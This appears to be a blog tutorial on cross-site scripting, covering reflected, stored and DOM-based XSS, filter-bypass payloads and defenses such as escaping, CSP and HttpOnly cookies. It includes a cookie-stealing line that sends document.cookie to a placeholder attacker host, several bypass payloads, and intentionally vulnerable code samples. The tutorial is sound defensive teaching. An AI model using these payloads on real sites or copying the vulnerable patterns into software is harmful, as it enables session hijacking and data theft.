阿里云主机折上折
  • 微信号
Current Site:Index > The basic principle of XSS attacks

The basic principle of XSS attacks

Author:Chuan Chen 阅读数:37592人阅读 分类: 前端安全

Basic Principles of XSS Attacks

XSS (Cross-Site Scripting) is a common cybersecurity vulnerability where attackers inject malicious scripts into web pages, causing other users to execute these scripts when browsing the page. This type of attack typically occurs when user-inputted data is directly embedded into web content without proper filtering or escaping.

Types of XSS Attacks

Reflected XSS

Reflected XSS is the most common form, where attackers append malicious scripts as parameters to a URL. When a user clicks the link, the server returns the parameter value directly to the browser for execution. For example:

http://example.com/search?query=<script>alert('XSS')</script>

If the server inserts the query parameter value directly into the HTML without any processing, the script will be executed.

Stored XSS

In stored XSS, the malicious script is permanently stored on the target server, such as in a database or file system. When other users visit a page containing this data, the script is executed. A typical scenario is forums or comment systems:

<script>alert('Stored XSS')</script>

If user-submitted comments are stored and displayed to other users without processing, stored XSS can occur.

DOM-based XSS

DOM-based XSS occurs entirely on the client side and does not involve the server. Attackers execute malicious scripts by modifying the DOM environment. For example:

document.write('<script>alert("DOM XSS")</script>');

If the page retrieves data from URL parameters or other user-controllable sources and directly manipulates the DOM, DOM-based XSS may occur.

Consequences of XSS Attacks

XSS attacks can lead to severe consequences:

  1. Stealing User Cookies: Attackers can access user session information via document.cookie.

    new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;
    
  2. Session Hijacking: After obtaining session IDs, attackers can impersonate users to log into systems.

  3. Modifying Page Content: Injected scripts can arbitrarily alter the page DOM, such as inserting fake forms or links.

  4. Launching CSRF Attacks: Combining XSS and CSRF, attackers can perform sensitive operations as the user.

Defense Measures Against XSS Attacks

Input Filtering

Strictly validate and filter all user input, removing or escaping potentially malicious characters. For example:

function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}

Output Encoding

When inserting user input into HTML, proper encoding is essential:

  • HTML entity encoding: Escape < as &lt;
  • JavaScript encoding: Escape ' as \'
  • URL encoding: Encode URL parameters

Using Content Security Policy (CSP)

CSP is a powerful defense mechanism that specifies which resources can be loaded and executed via HTTP headers:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

HttpOnly Cookie

Mark cookies as HttpOnly to prevent JavaScript access:

Set-Cookie: sessionid=12345; HttpOnly; Secure

Real-World Case Studies

Case 1: Simple Reflected XSS

Assume a search page has the following code:

<input type="text" value="<?php echo $_GET['query']; ?>">

An attacker can construct the URL:

http://example.com/search?query="><script>alert(1)</script>

Case 2: DOM-based XSS

The following code retrieves parameters from the URL and writes them directly to the DOM:

document.getElementById('output').innerHTML = location.hash.substring(1);

An attacker can construct:

http://example.com#<img src=x onerror=alert(1)>

Protection in Modern Frontend Frameworks

Modern frontend frameworks like React, Vue, and Angular provide default XSS protection:

  • React automatically escapes all variables inserted into JSX:

    const userInput = '<script>alert(1)</script>';
    return <div>{userInput}</div>; // Escaped as text
    
  • Vue's v-bind and {{ }} also perform automatic HTML escaping.

However, certain features of these frameworks may bypass protection:

// Dangerous! May still cause XSS
<div dangerouslySetInnerHTML={{ __html: userInput }} />

Advanced Attack Techniques

Bypassing Filters

Attackers often use various methods to bypass filters:

  1. Mixed case:

    <ScRiPt>alert(1)</ScRiPt>
    
  2. HTML entities:

    &lt;script&gt;alert(1)&lt;/script&gt;
    
  3. JavaScript pseudo-protocols:

    <a href="javascript:alert(1)">Click me</a>
    

Event-Based XSS

Execute scripts using HTML event attributes:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Automated Detection Tools

The following tools can detect XSS vulnerabilities:

  1. OWASP ZAP
  2. Burp Suite
  3. XSS Hunter (for blind testing)
  4. DOM Invader (Chrome extension)

Best Practices in Development

  1. Never trust user input.
  2. Use template engines' automatic escaping features.
  3. Implement strict CSP policies.
  4. Conduct regular security audits.
  5. Provide security awareness training for teams.

Browser Security Mechanisms

Modern browsers offer built-in XSS protections:

  1. X-XSS-Protection: Deprecated but still supported by some browsers.

    X-XSS-Protection: 1; mode=block
    
  2. Trusted Types: A new API that restricts dangerous DOM operations.

    if (window.trustedTypes && window.trustedTypes.createPolicy) {
      const policy = trustedTypes.createPolicy('default', {
        createHTML: string => string.replace(/</g, '&lt;')
      });
    }
    

Server-Side Protection

In addition to client-side measures, server-side protections are essential:

  1. Set secure HTTP headers.
  2. Validate and sanitize all input.
  3. Use parameterized queries to prevent SQL injection.
  4. Log and monitor suspicious activities.

Real-World XSS Vulnerabilities

Many well-known websites have experienced XSS attacks:

  1. Twitter's TweetDeck cross-site scripting vulnerability (2014).
  2. eBay's stored XSS (2015).
  3. Google's DOM XSS (2017).

These cases demonstrate that even large companies can overlook XSS protections.

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

Front End Chuan

Front End Chuan, Chen Chuan's Code Teahouse 🍵, specializing in exorcising all kinds of stubborn bugs 💻. Daily serving baldness-warning-level development insights 🛠️, with a bonus of one-liners that'll make you laugh for ten years 🐟. Occasionally drops pixel-perfect romance brewed in a coffee cup ☕.